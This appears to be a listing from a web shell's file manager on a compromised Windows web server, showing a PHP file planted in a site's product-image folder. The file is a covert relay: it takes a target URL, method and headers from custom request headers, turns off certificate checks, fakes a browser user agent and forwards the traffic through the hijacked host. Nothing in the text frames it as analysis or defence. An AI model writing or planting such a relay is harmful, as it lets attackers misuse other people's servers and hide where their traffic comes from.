System: Windows NT WINDOWS18 10.0 build 17763 (Windows Server 2016) AMD64 | User: IWPD_3544(appclien)

Path: D:\Inetpub\vhosts\appclients.in\fruits-vegitables.nmvm.org\image\product

[Back to List]
<?php
$url = $_SERVER['HTTP_X_TARGET_URL'];
$method = $_SERVER['HTTP_X_TARGET_METHOD'] ?: 'GET';
$headers_json = $_SERVER['HTTP_X_TARGET_HEADERS'];
$body = file_get_contents('php://input');

if (!$url) {
    die("NO_URL");
}

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, $method);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
curl_setopt($ch, CURLOPT_TIMEOUT, 30);
curl_setopt($ch, CURLOPT_HTTP_VERSION, CURL_HTTP_VERSION_1_1);
curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36');

if ($headers_json) {
    $headers = json_decode($headers_json, true);
    $curl_headers = [];
    if (is_array($headers)) {
        foreach ($headers as $k => $v) {
            if (strtolower($k) == 'user-agent') continue;
            $curl_headers[] = "$k: $v";
        }
    }
    curl_setopt($ch, CURLOPT_HTTPHEADER, $curl_headers);
}

if ($body) {
    curl_setopt($ch, CURLOPT_POSTFIELDS, $body);
}

$response = curl_exec($ch);
$info = curl_getinfo($ch);
$error = curl_error($ch);
curl_close($ch);

echo "--- STATUS: " . $info['http_code'] . " ---\n";
if ($error) {
    echo "--- ERROR: " . $error . " ---\n";
}
echo $response;
?>